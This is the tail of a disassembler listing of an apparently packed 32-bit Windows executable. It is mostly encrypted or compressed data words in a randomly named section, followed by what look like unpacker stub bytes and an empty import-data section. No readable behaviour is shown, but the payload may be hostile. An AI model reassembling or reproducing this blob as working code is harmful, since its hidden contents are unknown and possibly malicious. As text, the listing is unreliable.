		dd 0BB8DE519h, 0F79E3A64h, 21E718DEh, 63108D8Eh, 0A9D82CD4h
		dd 0B929AD12h, 65AC7993h, 8FA48B53h, 6160E4E6h,	0AFDF8D5h
		dd 94731D16h, 6A02F3h, 884429A7h, 8AA0C152h, 508ABEAAh
		dd 3E00E2E7h, 7A81B2AEh, 0C92028B6h, 0A819C3A7h, 19ECBD75h
		dd 0FA6EC128h, 7143FBB0h, 61C1A987h, 894C5813h,	0EFDED21h
		dd 0F9448B5Fh, 2376CF50h
		dd 385F0E80h, 0FE33F774h, 0FC8CFFE9h, 0E8965923h, 0DA4839A6h
		dd 0AC1D028Fh, 0AF7CF419h, 820BDBB8h, 6C6B3567h, 69687D3Dh
		dd 0E523403h, 15C2DC88h, 942DFD3h, 0F0B73F48h, 98C7A9ABh
		dd 0A4CB77ACh, 34B457B6h, 35FB936Bh, 8F554B23h,	0E811BEA2h
		dd 229950E0h, 39696C5h,	3D33FBF5h, 0FCF0E5F9h, 2C6A3901h
		dd 0C7CAECDBh, 6DCDA6DEh, 0FD47B9E5h, 0F385384Eh, 0AE65337h
		dd 0B6D2964Ah, 0DF02971Ah, 74AB73A5h, 0E2C956C4h, 5852FF32h
		dd 0F8D1501Fh, 18BD12DFh, 0AF6F3CF7h, 0A585455Dh, 0AE867A27h
		dd 0DC10B9CEh, 0F1F66DE4h, 8EDA79C7h, 0E76E7FFDh, 8B854C29h
		dd 24B78262h, 4A606240h, 701E830Eh, 1842AA4Bh, 7233F471h
		dd 0B30E336Bh, 0D6299C4Ah, 0D2E0E9AFh, 5F5F09DBh, 0F81C8E30h
		dd 7D013C0h, 647125h, 1F332341h, 0D14B4519h, 0D7023942h
		dd 0DB24AC6Fh, 1C942D17h, 0ADE2EFA2h, 0C9EE4FCAh, 0BFBDF54Bh
		dd 99691CF3h, 683D2F8Dh, 0B2D34B69h, 0D6D12B4Ah, 87AB11E7h
		dd 60272937h, 0B3E07539h, 0F2B623CFh, 54EDC802h, 5F2F0903h
		dd 6B4551E7h, 0A3F87CD9h, 63E1AB2Dh, 12E60100h,	3D0974F9h
		dd 7A3DDEBh, 0C22F7380h, 4538D944h, 20EE27Dh, 755973C6h
		dd 3B6986B2h, 19F5C889h, 0CDFFF7Bh, 3B751660h, 435F9BFEh
		dd 455BAD96h, 0D2EEDE8Fh, 28DBB4D5h, 0A9732939h, 5225EDF4h
		dd 9D5B4AEAh, 6E97A9C1h, 0E9C98B53h, 0EDBACEC4h, 0F2D0A0BDh
		dd 0C1E8EE19h, 0EA503D5Ch, 0C96107C2h, 9CB49DC6h, 3855C479h
		dd 89A388BCh, 330FDD35h, 0B12A4C41h, 674860D7h,	7E015B4Dh
		dd 221063DFh, 0CB630FC0h, 71CE5E2Ah, 0CB1E94FDh, 213ED87Bh
		dd 266CC60Dh, 4EE19575h, 75580B71h, 0D5ABEE6h, 0B33CA2D7h
		dd 3F2700B1h, 85295F16h, 0F49D2947h, 33D45456h,	0A4D1D414h
		dd 0D46FFF91h, 0EEA4F665h, 762367Dh, 3A539C2Bh,	0C65C7DEDh
		dd 785AD2F8h, 60ED67C4h, 0CC43866Bh, 70D04BFAh,	8601CCABh
		dd 0E03BEBFCh, 1DB559A4h, 67F6A5E5h, 0E050C575h, 213F7C7Ah
		dd 586F2DB2h, 41FD4Ch, 8B1AD5CAh, 72D5DDD0h, 3AFB214Dh
		dd 716F4E71h, 76FDC1E1h, 0A8F51516h, 978C6E37h,	0B525203Ah
		dd 483C2230h, 9587C88Eh, 838495A8h, 0DA52E086h,	0B2C1C3h
		dd 4A4B3BD0h, 47FE8C1Dh, 0F301DA3h, 374AF464h, 3C12CEB2h
		dd 0A667D877h, 352B8C7Fh, 9F2AC604h, 26355B4Dh,	0C9F85047h
		dd 0C7DB6DE0h, 0D1AA7E49h, 0D2452DEAh, 72EC093Ch, 9832DA1Ch
		dd 0E3BBFF5Ah, 0E898CAB4h, 0E6E61877h, 0A276528Bh, 3B29A9F1h
		dd 97B2FC72h, 1D88C3EBh, 1309C457h, 970B90C8h, 0B5B76FFCh
		dd 0C114590Ah, 0CF814EAh, 552EE316h, 0A10443D4h, 0AC1E107Fh
		dd 0E7D82DD2h, 33AC6BC4h, 784C0EA5h, 0BC88BF15h, 0E38CDE24h
		dd 0EE052778h, 0E172B497h, 46FBE3C7h, 0E2220013h, 25E8C13Ch
		dd 0D4A6E4F7h, 0D2618796h, 9BF41384h, 7A8B3B35h, 0C883EC67h
		dd 0E4A948EDh, 1A5EC740h, 0F67FFE85h, 8FCC7FF3h, 0EF7A91D7h
		dd 29F5AE4Ch, 89D0A961h, 62DEC47Fh, 3AE91663h, 0F439248Eh
		dd 0EA6AB6EDh, 1FF19237h, 110C4B29h, 0D1E8EA5Eh, 42D1E51h
		dd 7E57E707h, 6D629D7Ch, 408F0E6Ah, 0DB019E8Fh,	2D1BA41Ch
		dd 3AAB5C37h, 8B320669h, 689BCB9h, 0A2AB76ABh, 6F125DBBh
		dd 0B1FF1210h, 908FE83Fh, 1EF365CAh, 464A1A0Ah,	0CA43FC7Bh
		dd 37F8CF39h, 342253D3h, 9E2C98B4h, 0B37156CAh,	265EE3A8h
		dd 43B1AD71h, 621879C4h, 0FEAD21F8h, 0D111A3CFh, 8F97095Ah
		dd 22895D36h, 354E5C28h, 82BEE5C0h, 2A30B9CFh, 9430C90Bh
		dd 0EA6C7CC7h, 29AF3CEBh, 0B671F21Bh, 903B0CAh,	20CB7CB4h
		dd 17A38F8h, 86A8F047h,	0AF13F528h, 0F86BD08h, 0B7967139h
		dd 3450DB7Dh, 5F0268ECh, 3F9148C0h, 16AD3BCEh, 0D93F171Bh
		dd 0D5A85D60h, 3E0E23B3h, 7BD07B56h, 9FB485FBh,	0C84D67E4h
		dd 1EAC28E0h, 7B95F949h, 0B9C78305h, 83E54936h,	19CCA4A9h
		dd 0B8485A9Ah, 4972D674h, 19CB5CBFh, 0AF05271Dh, 0E0F457F8h
		dd 0F8576F67h, 5B5B0F79h, 0DCFDF92Ch, 2A2BAF8Fh, 0AA191C9Dh
		dd 67DB0F27h, 0ED2B952h, 0EA516FB1h, 0E931E9A8h, 0B17D2045h
		dd 0C80923D7h, 0FDF19100h, 2C46C0EEh, 9F8847ECh, 0BAF8955Bh
		dd 45B38CFAh, 3228E93Ch, 6CA9A908h, 56A6E59Ah, 938D65DBh
		dd 88F2C311h, 45E9BE02h, 0E23C8571h, 3507D2E3h,	3547C7Fh
		dd 2A7EB261h, 8368D446h, 0DE16B0ABh, 81D07AEDh,	0D9FD2140h
		dd 0DCC3F194h, 0AA1BC317h, 0D2F91DA5h, 5472F05Ch, 38162BF0h
		dd 9DD96883h, 72A36BA6h, 0FFBB34ECh, 39707677h,	83914E54h
		dd 0B6873025h, 0C6CAD447h, 15D3B372h, 0ECFAD347h, 667C710Eh
		dd 2B34F58Eh, 0DF69982Fh, 88931ABAh, 0B0B428D7h, 406DA0DEh
		dd 8F4D0FC9h, 0CB865A45h, 0D660C43Ch, 6906EFBBh, 0F65E2155h
		dd 0C5E6E99Eh, 0C28B3A89h, 0B46966C6h, 6EE4793Ah, 4D3676DBh
		dd 4E06E88Bh, 8B91904Eh, 8E8A649Ah, 0B81F4D48h,	2E3D6D5Fh
		dd 0C08991D1h, 0AC20E0FAh, 0E2E6B9D8h, 0E2DF4905h, 25085CCBh
		dd 4ADFD325h, 0D3BF9361h, 45048492h, 1C499291h,	2C559FE8h
		dd 14EF542Ah, 0BF3D8A40h, 2ECBFB17h, 0CF1998Bh,	0EACB8DBh
		dd 0F73614C5h, 0C0EFED9Dh, 0DF3C00h, 0F2D860EBh, 0AC126B21h
		dd 30BBB6F3h, 60AD33F5h, 37306908h, 25F782B7h, 0E16AB953h
		dd 0B39EBA8Ch, 7954D097h, 7F3FE45Dh, 217F18C4h,	0A3229CDh
		dd 0B42BF925h, 0BF6B6713h, 0A0BDEF4Ah, 0FCD90551h, 0BBFC9935h
		dd 48FB3907h, 0A85E8D43h, 0F292C621h, 43DA169Fh, 333C2696h
		dd 0F6068FA8h, 684F4ACFh, 61D56930h, 0D41ACDFDh, 0E036C02h
		dd 8FA30F37h, 74F37E3h,	5232ED24h, 1BCE85BCh, 0F9DC5EA7h
		dd 99620CDh, 12E10FCCh,	9EBE83D2h, 12A25B8h, 408319BCh
		dd 93F6035Eh, 82CFD2EAh, 872E58AEh, 0AC793A2Ch,	6E4B1D2h
		dd 0C8A8586Ch, 0B25E9A4h, 601EBB33h, 3D9447E2h,	4D2808CEh
		dd 9F9565B2h, 1FD74DDFh, 57B608E2h, 9745846h, 0AC0AF985h
		dd 0A1A2DF65h, 6192B05Bh, 256496DFh, 0F22926EBh, 0B637E067h
		dd 0EF215FF4h, 5312B154h, 0EA54B594h, 8AEC69h, 79992E05h
		dd 328F4CCFh, 3E9E14FEh, 77D68AFh, 2676F2EBh, 3702E8E1h
		dd 33984DAh, 0A6B8B4E9h, 0F27F50D1h, 14BD2689h,	47A3B0FEh
		dd 4AF47BBCh, 71D357EDh, 31E9E82Fh, 0ECDB85C4h,	99573334h
		dd 18D9DD08h, 0CC5A169Bh, 0F6C01242h, 0D531D587h, 1048D1C8h
		dd 1C500F69h, 4C676C6Dh, 0DD8DC9F6h, 78EC51ECh,	764E4988h
		dd 94811357h, 68ABD952h, 12176213h, 0C7696853h,	4B768C61h
		dd 9B002F2Eh, 0B06119FDh, 66311E67h, 168085B6h,	0DF24902Eh
		dd 303ADA8h, 0F04C446h,	0F81B73D1h, 0C6FED0FCh,	3FBE5B2h
		dd 5C8F4D0Fh, 38A063A7h, 9979BD67h, 7280A6D1h, 7FDDEEEBh
		dd 6CB0C31Ah, 17E44CEh,	72B51BB1h, 4C4E1148h, 19E2AAC7h
		dd 9EA2F66Dh, 5C69F7A5h, 0E9B0D5DEh, 412C17A3h,	67D70942h
		dd 0CDBC17Dh, 0EF16FC27h, 0A6432C3Ch, 0EA4DBEB1h, 851C1EDFh
		dd 0B45CAA55h, 0FFD04CE5h, 0D0AAF87Ch, 8994CC24h, 79ECA103h
		dd 0FB284692h, 68D67BF4h, 97957345h, 0F163ABAEh, 8AA6719Fh
		dd 587E446Dh, 5A270A6Bh, 0BA69FE33h, 671FA2FCh,	0D599F176h
		dd 52B387D4h, 9BAB22CAh, 0AE1D049Eh, 583F4D1Eh,	36F3E59Ah
		dd 0E6B0A0E9h, 1ACD9EAFh, 0C79FA85Ch, 20B4BBFAh, 0AADECFCDh
		dd 1AEDC267h, 62651C3Bh, 0E47BF617h, 66FD399Ch,	0B237BD02h
		dd 4AC7780Bh, 0B7F1CE7Eh
		dd 33FB979Dh, 4B717324h, 4D3CDB6Eh, 953263B7h, 0D735FA5h
		dd 6DD21547h, 9EF9EB63h, 368BC048h, 80136765h, 7BBE80E1h
		dd 0B10368A6h, 0B8A80D9Dh, 1F9680EAh, 46E58059h, 0ABEAFD43h
		dd 0AAFCCC66h, 0D5E6F043h, 0F7CB1E4Eh, 71283D8Eh, 0EFD02909h
		dd 0EC60AD64h, 496D7C1Ch, 4575F69Bh, 0D070194Bh, 0C77D06D4h
		dd 378B0FECh, 0C392028Eh, 4E80D43Bh, 0D74F2E9Bh, 0DA01B2C2h
		dd 4B3EDA84h, 70353129h, 0D99FEADAh, 7ED5D78Dh,	4FE99337h
		dd 0F0BEE7C1h, 5EBF655Ah, 0A77D4592h, 441ADE48h, 11BC31F4h
		dd 1BD1356Bh, 676992Bh,	0B9DEA385h, 188ED13Bh, 21B700FEh
		dd 3BAB7E81h, 0FD492E16h, 1F7B574h, 3DAD7A74h, 670252ADh
		dd 62C63BE4h, 10A88F80h, 0C202F3B8h, 52044911h,	4862360Eh
		dd 21911020h, 0FE04C067h, 913E5825h, 4AB7DC85h,	0FD00A51Dh
		dd 1F16875Bh, 0FD065ECBh, 0CC4B3780h, 130842F4h, 0BCCE9622h
		dd 272F7B06h, 0D885ABCDh, 0F523F0E9h, 7167776Ch, 0B1ADB159h
		dd 70BC9117h, 7F0FA41Fh, 13E8AC6Ah, 4B554403h, 0DF35B4F7h
		dd 0BC331F25h, 56FAB23Bh, 0AA616DC4h, 71379EF1h, 81E49040h
		dd 0E5C9887Ah, 3EBCA4F0h, 0BC424BB2h, 50E3C588h, 32C8D9DDh
		dd 0E1E1529Eh, 41B3B7DCh, 0E61E250Eh, 0BBE3D86Dh, 0E0374DF4h
		dd 0B9707E40h, 62904703h, 53F39DA4h, 0E643AB74h, 7C4CC0D0h
		dd 98CD44D8h, 55B73CE3h, 9150B9AAh, 92322F54h, 0C36B219Ah
		dd 87BF744Bh, 243D554Bh, 0C85AB459h, 48165F80h,	0CA9F6FC0h
		dd 9C176368h, 59C4BFEEh, 98CD75F6h, 232E5DDh, 0B2474634h
		dd 978732B1h, 0C6491994h, 0C2C0CD7Eh, 0B2CE4373h, 5B4D874Ch
		dd 0E96A64BEh, 680B2B20h, 0A6D01636h, 0DA5CF11h, 0A3E64246h
		dd 40C4F718h, 0BB724411h, 0F4FFA993h, 820C4C3Fh, 40E995A0h
		dd 0E5DF6C0Ah, 5E0ECA2Eh, 7FA19133h, 3689A148h,	37ECD936h
		dd 9A70B39h, 5B53112h, 0CFC243AEh, 746EC1CAh, 1D42A2E9h
		dd 0D7E1601Eh, 1BFF545Ah, 6F843CA2h, 0FBA52303h, 0A2E4CECEh
		dd 83DF086Ch, 9CCDEC9Ch, 19135847h, 50397A32h, 117959ECh
		dd 3E52C4C9h, 0D80C2C8Ch, 0F899F1AAh, 0B8EF9FD1h, 0A1AAE9B3h
		dd 6B668467h, 0AB1022C9h, 0D0A5320Ch, 9B023E43h, 397C4B45h
		dd 0FB15C6C0h, 2046D503h, 0FDF8B428h, 9A8DC0ABh, 7263F328h
		dd 0AA57E974h, 24E27C72h, 2EE910E5h, 5B39B3DAh,	0BE03EDC7h
		dd 0CB7100F3h, 6FC9404Ah, 0C39EF224h, 7E403375h, 2594050Ah
		dd 0FF396131h, 97319BB3h, 15246F62h, 0B3A68657h, 3688F28Dh
		dd 9C4F4F8h, 161947Eh, 0F1B8A9CBh, 201EA477h, 0C81972ACh
		dd 0C9E958CEh, 0B030F29Dh, 70B80F9Eh, 446C8846h, 0F1816F9Bh
		dd 73EC5884h, 0EBADF3B9h, 0DFC9239Bh, 9549A84Fh, 6550D107h
		dd 327C04F5h, 560B6E7Ch, 0DD3C7240h, 0DF99EC80h, 44CCAD1Eh
		dd 0E7A45E8Ch, 0B040E578h, 68E94AFCh, 0ED3231AAh, 2C0F7E71h
		dd 793489D2h, 9B64DAD8h, 2C8FED6Bh, 0DC0CF387h,	0DC9A92A4h
		dd 37BA0DCDh, 0E7F73BABh, 0E03EB9A2h, 3B08A114h, 6D3A9D0h
		dd 0B2C8172Eh, 0F0B8F188h, 0ABCFF720h, 0B6B59E6Fh, 67F8AEFEh
		dd 0B2D29E56h, 0C7586C55h, 4E133139h, 0C4B477D0h, 0CDB11CE0h
		dd 4AD9D97Bh, 0D708D235h, 0CAC16EC7h, 3BEFCA07h, 1B9B330Fh
		dd 0C46CEEEDh, 5A59ABh,	57009252h, 7183BDD6h, 3E2F0E63h
		dd 177E0448h, 7A425CC6h, 29D2211Eh, 0EDD216FFh,	9E6D6CF4h
		dd 52170537h, 688CFBEFh, 2541E4F5h, 0B3F8D73Ah,	465A05F8h
		dd 3B21CED9h, 7C7404EFh, 3F030F1Eh, 876C2CCh, 0E89D3FF9h
		dd 481397FBh, 291CBE2Eh, 0DF26B6D8h, 2FFACED7h,	2744AA1Dh
		dd 4978DBh, 10B37A67h, 0DF3C41B9h, 0DFB8E4EDh, 60C2CF87h
		dd 7BB61735h, 1145A00Bh, 99854BC1h, 0D6494C6Ah,	56A83232h
		dd 97B23111h, 84A2C361h, 201ADD0Dh, 0F6FD68A6h,	27CDA5F7h
		dd 0D1D45BADh, 0EB2F6F97h, 386FE9BBh, 60F3FF36h, 0EB0C3446h
		dd 46C1CA76h, 0BF73D73Bh, 0FD29FE8h, 0A68C0E0Dh, 822B5CC8h
		dd 36870E3Dh, 83B64833h, 4BB9E585h, 6AEA0800h, 7F5EB5F6h
		dd 29EA91EFh, 8DA140D1h, 293F91CFh, 7F692EBh, 0A8AA7893h
		dd 0B6CDD484h, 0DFFBF1E9h, 2AD079EDh, 50E5E3FEh, 0ED75673Ch
		dd 0A15D95EAh, 8684212Bh, 0DA5D72E5h, 8FB21CDEh, 9DB68D78h
		dd 7E2EAEA8h, 64823163h, 0B5352FBBh, 0C033C810h, 85548D40h
		dd 1316FF00h, 72C13BC0h, 0C3C12BF4h, 16FF08B1h,	0B004528Dh
		dd 0FF0B7301h, 7309B016h, 5E1C105h, 8D5011B0h, 56FF822Ch
		dd 0C5035D4Ch, 38B50C3h, 0BE8C152h, 538B22F7h, 0F128BFCh
		dd 4532BCAh, 765AC23Bh,	3303890Fh, 2B08B4C0h, 5E8C102h
		dd 0DEB0201h, 29044301h, 0C1028B03h, 22905E8h, 809C58F9h
		dd 7500037Bh, 0FC43FF0Ah, 80463C1h, 9D0823C1h, 548D58C3h
		dd 16FF5883h, 32C5B72h,	0B00273h, 272073Ch, 0F50032Ch
		dd 0C1FF6FB6h, 0ED6905EDh, 0C00h, 82BAC8Dh, 0B0000010h
		dd 8B2AE301h, 8532BD7h,	0D2332A8Ah, 950FE984h, 0C6FE52C6h
		dd 548DD08Ah, 16FF0095h, 0C0129F5Ah, 0E74E9D0h,	74F21A9Eh
		dd 3300B4E3h, 0FF01B5C9h, 0C9335056h, 0FBE9h, 1AF90400h
		dd 8B30B1C0h, 0D103086Bh, 497316FFh, 16FFD103h,	0D1031772h
		dd 277216FFh, 9040224h,	2BC78B50h, 8A0843h, 0CDE9h, 60C28300h
		dd 6B8716FFh, 30C730Ch,	8716FFD1h, 373106Bh, 24146B87h
		dd 50080403h, 78938D55h, 0FF000007h, 915D5456h,	95E9h
		dd 4032400h, 6B875007h,	106B870Ch, 8D146B89h, 0BC093h
		dd 5456FF00h, 5059036Ah, 72C13B48h, 0C1C18B02h,	40B106E0h
		dd 7883AC8Dh, 0FF000003h, 43C4C56h, 5C72E88Bh, 0E8D1ED33h
		dd 4548ED13h, 0E5D34591h, 8D05F980h, 178AB94h, 2B760000h
		dd 3304E980h, 0FC538BC0h, 128B2BD1h, 532BCA0Fh,	3BC00304h
		dd 8B067213h, 53014013h, 1056FF04h, 0E2h, 1A0h dup(0)
_0niaacah	ends

; Section 7. (virtual address 0003C000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 0003C000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 43C000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start